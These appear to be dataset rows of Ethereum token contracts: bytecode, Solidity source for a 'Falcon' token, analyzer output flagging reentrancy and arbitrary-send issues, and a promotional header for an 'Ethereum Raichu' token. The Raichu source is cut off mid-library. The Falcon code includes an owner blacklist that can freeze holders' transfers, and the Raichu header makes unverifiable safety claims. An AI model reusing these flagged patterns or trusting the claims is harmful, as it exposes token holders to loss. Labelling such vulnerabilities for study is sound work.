0x6080604052600436106100c4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680629f9262146100c95780630988ca8c146100f65780630c7e30b71461017f578063217fe6c6146101c05780633edfe35e1461026157806362d918551461028c57806365d43868146102cf57806370480275146102fa5780637dc793751461033d578063b9d8350e14610380578063d391014b146103c1578063df5dd1a514610451578063f017370314610494575b600080fd5b3480156100d557600080fd5b506100f460048036038101908080359060200190929190505050610524565b005b34801561010257600080fd5b5061017d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061066b565b005b34801561018b57600080fd5b506101aa600480360381019080803590602001909291905050506106ec565b6040518082815260200191505060405180910390f35b3480156101cc57600080fd5b50610247600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610724565b604051808215151515815260200191505060405180910390f35b34801561026d57600080fd5b506102766107ab565b6040518082815260200191505060405180910390f35b34801561029857600080fd5b506102cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107b1565b005b3480156102db57600080fd5b506102e4610832565b6040518082815260200191505060405180910390f35b34801561030657600080fd5b5061033b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610838565b005b34801561034957600080fd5b5061037e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108b9565b005b34801561038c57600080fd5b506103ab6004803603810190808035906020019092919050505061093a565b6040518082815260200191505060405180910390f35b3480156103cd57600080fd5b506103d6610972565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104165780820151818401526020810190506103fb565b50505050905090810190601f1680156104435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561045d57600080fd5b50610492600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ab565b005b3480156104a057600080fd5b506104a9610a2c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e95780820151818401526020810190506104ce565b50505050905090810190601f1680156105165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600080610566336040805190810160405280600681526020017f6f7261636c65000000000000000000000000000000000000000000000000000081525061066b565b6105a360646105956001546105876064600254610a6590919063ffffffff16565b610a8190919063ffffffff16565b610ab990919063ffffffff16565b91506105d960646105cb6001546105bd6064600254610acf565b610a8190919063ffffffff16565b610ab990919063ffffffff16565b90508183111580156105eb5750808310155b151561065f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5072696365206f7574206f6620616c6c6f7765642072616e676500000000000081525060200191505060405180910390fd5b82600181905550505050565b6106e8826000836040518082805190602001908083835b6020831015156106a75780518252602082019150602081019050602083039250610682565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020610ae890919063ffffffff16565b5050565b600061071d670de0b6b3a764000061070f60015485610a8190919063ffffffff16565b610ab990919063ffffffff16565b9050919050565b60006107a3836000846040518082805190602001908083835b602083101515610762578051825260208201915060208101905060208303925061073d565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020610b0190919063ffffffff16565b905092915050565b60015481565b6107f0336040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061066b565b61082f816040805190810160405280600581526020017f61646d696e000000000000000000000000000000000000000000000000000000815250610b5a565b50565b60025481565b610877336040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061066b565b6108b6816040805190810160405280600581526020017f61646d696e000000000000000000000000000000000000000000000000000000815250610cab565b50565b6108f8336040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061066b565b610937816040805190810160405280600681526020017f6f7261636c650000000000000000000000000000000000000000000000000000815250610b5a565b50565b600061096b60015461095d670de0b6b3a764000085610a8190919063ffffffff16565b610ab990919063ffffffff16565b9050919050565b6040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525081565b6109ea336040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061066b565b610a29816040805190810160405280600681526020017f6f7261636c650000000000000000000000000000000000000000000000000000815250610cab565b50565b6040805190810160405280600681526020017f6f7261636c65000000000000000000000000000000000000000000000000000081525081565b60008183019050828110151515610a7857fe5b80905092915050565b600080831415610a945760009050610ab3565b8183029050818382811515610aa557fe5b04141515610aaf57fe5b8090505b92915050565b60008183811515610ac657fe5b04905092915050565b6000828211151515610add57fe5b818303905092915050565b610af28282610b01565b1515610afd57600080fd5b5050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b610bd7826000836040518082805190602001908083835b602083101515610b965780518252602082019150602081019050602083039250610b71565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020610dfc90919063ffffffff16565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c6c578082015181840152602081019050610c51565b50505050905090810190601f168015610c995780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b610d28826000836040518082805190602001908083835b602083101515610ce75780518252602082019150602081019050602083039250610cc2565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020610e5a90919063ffffffff16565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b7004898282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610dbd578082015181840152602081019050610da2565b50505050905090810190601f168015610dea5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505600a165627a7a72305820f7cf58a35531d3866c0b5daf4655a1ee860bf6faa0c46eecac61f17585e9c65b0029
|
{"success": true, "error": null, "results": {}}
| 4,354 |
0x90e4c55f79d2face71ed87930a9447221068b952
|
/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
//SPDX-License-Identifier: UNLICENSED
//https://t.me/falconkhonsu
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Falcon is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"Falcon";
string public constant symbol = unicode"KHONSU";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 2;
uint public _sellFee = 2;
uint private _feeRate = 2;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (2 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 1000000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < 12 && sell < 12 );
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101dc5760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf914610570578063db92dbb614610585578063dcb0e0ad1461059a578063dd62ed3e146105ba57600080fd5b8063a9059cbb146104fb578063b2289c621461051b578063b515566a1461053b578063c3c8cd801461055b57600080fd5b80638da5cb5b116100d15780638da5cb5b1461047657806394b8d8f21461049457806395d89b41146104b45780639e78fb4f146104e657600080fd5b80636fc3eaec1461040c57806370a0823114610421578063715018a61461044157806373f54a111461045657600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461038857806345596e2e1461039e57806349bd5a5e146103be578063590f897e146103f657600080fd5b8063313ce567146102f257806331c2d8471461031957806332d873d8146103395780633bbac5791461034f57600080fd5b806318160ddd116101b657806318160ddd146102825780631940d020146102a757806323b872dd146102bd57806327f3a72a146102dd57600080fd5b806306fdde03146101e8578063095ea7b3146102305780630b78f9c01461026057600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5061021a604051806040016040528060068152602001652330b631b7b760d11b81525081565b604051610227919061173a565b60405180910390f35b34801561023c57600080fd5b5061025061024b3660046117b4565b610600565b6040519015158152602001610227565b34801561026c57600080fd5b5061028061027b3660046117e0565b610616565b005b34801561028e57600080fd5b50670de0b6b3a76400005b604051908152602001610227565b3480156102b357600080fd5b50610299600c5481565b3480156102c957600080fd5b506102506102d8366004611802565b6106a9565b3480156102e957600080fd5b506102996106fd565b3480156102fe57600080fd5b50610307600981565b60405160ff9091168152602001610227565b34801561032557600080fd5b50610280610334366004611859565b61070d565b34801561034557600080fd5b50610299600d5481565b34801561035b57600080fd5b5061025061036a36600461191e565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039457600080fd5b5061029960095481565b3480156103aa57600080fd5b506102806103b936600461193b565b6107a3565b3480156103ca57600080fd5b506008546103de906001600160a01b031681565b6040516001600160a01b039091168152602001610227565b34801561040257600080fd5b50610299600a5481565b34801561041857600080fd5b50610280610869565b34801561042d57600080fd5b5061029961043c36600461191e565b610876565b34801561044d57600080fd5b50610280610891565b34801561046257600080fd5b5061028061047136600461191e565b610905565b34801561048257600080fd5b506000546001600160a01b03166103de565b3480156104a057600080fd5b50600e546102509062010000900460ff1681565b3480156104c057600080fd5b5061021a604051806040016040528060068152602001654b484f4e535560d01b81525081565b3480156104f257600080fd5b50610280610973565b34801561050757600080fd5b506102506105163660046117b4565b610b78565b34801561052757600080fd5b506007546103de906001600160a01b031681565b34801561054757600080fd5b50610280610556366004611859565b610b85565b34801561056757600080fd5b50610280610c9e565b34801561057c57600080fd5b50610280610cb4565b34801561059157600080fd5b50610299610ea6565b3480156105a657600080fd5b506102806105b5366004611962565b610ebe565b3480156105c657600080fd5b506102996105d536600461197f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600061060d338484610f3b565b50600192915050565b6000546001600160a01b031633146106495760405162461bcd60e51b8152600401610640906119b8565b60405180910390fd5b600c821080156106595750600c81105b61066257600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106b684848461105f565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106e5908490611a03565b90506106f2853383610f3b565b506001949350505050565b600061070830610876565b905090565b6000546001600160a01b031633146107375760405162461bcd60e51b8152600401610640906119b8565b60005b815181101561079f5760006005600084848151811061075b5761075b611a1a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061079781611a30565b91505061073a565b5050565b6000546001600160a01b031633146107cd5760405162461bcd60e51b8152600401610640906119b8565b6007546001600160a01b0316336001600160a01b0316146107ed57600080fd5b6000811161082d5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b6044820152606401610640565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761087381611407565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108bb5760405162461bcd60e51b8152600401610640906119b8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461092557600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161085e565b6000546001600160a01b0316331461099d5760405162461bcd60e51b8152600401610640906119b8565b600e5460ff16156109ea5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610640565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a739190611a4b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ac0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae49190611a4b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b559190611a4b565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b600061060d33848461105f565b6000546001600160a01b03163314610baf5760405162461bcd60e51b8152600401610640906119b8565b60005b815181101561079f5760085482516001600160a01b0390911690839083908110610bde57610bde611a1a565b60200260200101516001600160a01b031614158015610c2f575060065482516001600160a01b0390911690839083908110610c1b57610c1b611a1a565b60200260200101516001600160a01b031614155b15610c8c57600160056000848481518110610c4c57610c4c611a1a565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c9681611a30565b915050610bb2565b6000610ca930610876565b905061087381611441565b6000546001600160a01b03163314610cde5760405162461bcd60e51b8152600401610640906119b8565b600e5460ff1615610d2b5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610640565b600654610d4b9030906001600160a01b0316670de0b6b3a7640000610f3b565b6006546001600160a01b031663f305d7194730610d6781610876565b600080610d7c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610de4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e099190611a68565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e869190611a96565b50600e805460ff1916600117905542600d55670de0b6b3a7640000600c55565b600854600090610708906001600160a01b0316610876565b6000546001600160a01b03163314610ee85760405162461bcd60e51b8152600401610640906119b8565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161085e565b6001600160a01b038316610f9d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610640565b6001600160a01b038216610ffe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610640565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561108557600080fd5b6001600160a01b0383166110e95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610640565b6001600160a01b03821661114b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610640565b600081116111ad5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610640565b600080546001600160a01b038581169116148015906111da57506000546001600160a01b03848116911614155b156113a8576008546001600160a01b03858116911614801561120a57506006546001600160a01b03848116911614155b801561122f57506001600160a01b03831660009081526004602052604090205460ff16155b156112c157600e5460ff166112865760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610640565b42600d5460786112969190611ab3565b11156112bd57600c546112a884610876565b6112b29084611ab3565b11156112bd57600080fd5b5060015b600e54610100900460ff161580156112db5750600e5460ff165b80156112f557506008546001600160a01b03858116911614155b156113a857600061130530610876565b9050801561139157600e5462010000900460ff161561138857600b546008546064919061133a906001600160a01b0316610876565b6113449190611acb565b61134e9190611aea565b81111561138857600b5460085460649190611371906001600160a01b0316610876565b61137b9190611acb565b6113859190611aea565b90505b61139181611441565b4780156113a1576113a147611407565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113ea57506001600160a01b03841660009081526004602052604090205460ff165b156113f3575060005b61140085858584866115b5565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561079f573d6000803e3d6000fd5b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148557611485611a1a565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115029190611a4b565b8160018151811061151557611515611a1a565b6001600160a01b03928316602091820292909201015260065461153b9130911684610f3b565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611574908590600090869030904290600401611b0c565b600060405180830381600087803b15801561158e57600080fd5b505af11580156115a2573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b60006115c183836115d7565b90506115cf868686846115fb565b505050505050565b60008083156115f45782156115ef57506009546115f4565b50600a545b9392505050565b60008061160884846116d8565b6001600160a01b0388166000908152600260205260409020549193509150611631908590611a03565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611661908390611ab3565b6001600160a01b0386166000908152600260205260409020556116838161170c565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116c891815260200190565b60405180910390a3505050505050565b6000808060646116e88587611acb565b6116f29190611aea565b905060006117008287611a03565b96919550909350505050565b30600090815260026020526040902054611727908290611ab3565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117675785810183015185820160400152820161174b565b81811115611779576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461087357600080fd5b80356117af8161178f565b919050565b600080604083850312156117c757600080fd5b82356117d28161178f565b946020939093013593505050565b600080604083850312156117f357600080fd5b50508035926020909101359150565b60008060006060848603121561181757600080fd5b83356118228161178f565b925060208401356118328161178f565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561186c57600080fd5b823567ffffffffffffffff8082111561188457600080fd5b818501915085601f83011261189857600080fd5b8135818111156118aa576118aa611843565b8060051b604051601f19603f830116810181811085821117156118cf576118cf611843565b6040529182528482019250838101850191888311156118ed57600080fd5b938501935b8285101561191257611903856117a4565b845293850193928501926118f2565b98975050505050505050565b60006020828403121561193057600080fd5b81356115f48161178f565b60006020828403121561194d57600080fd5b5035919050565b801515811461087357600080fd5b60006020828403121561197457600080fd5b81356115f481611954565b6000806040838503121561199257600080fd5b823561199d8161178f565b915060208301356119ad8161178f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a1557611a156119ed565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a4457611a446119ed565b5060010190565b600060208284031215611a5d57600080fd5b81516115f48161178f565b600080600060608486031215611a7d57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611aa857600080fd5b81516115f481611954565b60008219821115611ac657611ac66119ed565b500190565b6000816000190483118215151615611ae557611ae56119ed565b500290565b600082611b0757634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b5c5784516001600160a01b031683529383019391830191600101611b37565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220e64e4c8ba7ca32f06aeec0407e5486abdbc3d5952812b567a910c6d1b18de01564736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,355 |
0xedf8066ea6ba948d6e1c75501818353a7b3580c8
|
/**
*/
/*
ETHEREUM RAICHU - $eRAICHU
ADVERT! OFFICIAL CONTRACT WILL BE POSTED BEFORE LAUNCH! MORE DETAILS IN OUR TELEGRAM : https://t.me/eRaichu
Extreme bot protection! No bots will be able to partake in the project.
100% Fair Launch NO dev wallets or pre-sale/Initial liquidity offering!
There will be a buy limit on launch, the exact amount will be disclosed in our telegram before launch!
There will be a cooldown of 30 seconds at launch between buying/selling on each unique addy this is an antibot measure also don't multi buy it wont work
The cooldown will be removed some time after launch
DON'T panic not a honeypot! you'll be able to sell after 30 seconds!
Join the telegram for more info
https://t.me/eRaichu
⚡️Tokenomics ⚡️
✔️ 1,000,000,000,000 Total Supply
✔️ 15% Burned before launch
✔️ Hardcoded buy limit of 0.25%
✔️ No pre-sale or Initial Liquidity offering! ALSO NO TEAM OR MARKETING WALLETS! 100% FAIR LAUNCH
✔️ 5% Automated Rewards Farming (ARF)
✔️ 30 Seconds cooldown timer on unique addresses
✔️ Gradually increasing max TX (done manually by function)
💸BUYS 💸
✔️ 7% Redistribution to current holders
✔️ 5% Developer Fee (since we provide starting LP)
💰 SELLS 💰
✔️ 7% Redistribution to current holders
✔️ 8% Developer Fee (since we provide starting LP)
✔️ 100% of liquidity will be locked minutes after launch!
✔️ Ownership will be renounced
SOCIALS:
Website: https://raichucoin.com
Twitter: https://twitter.com/eRAICHUcoin
Telegram: https://t.me/eRaichu
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
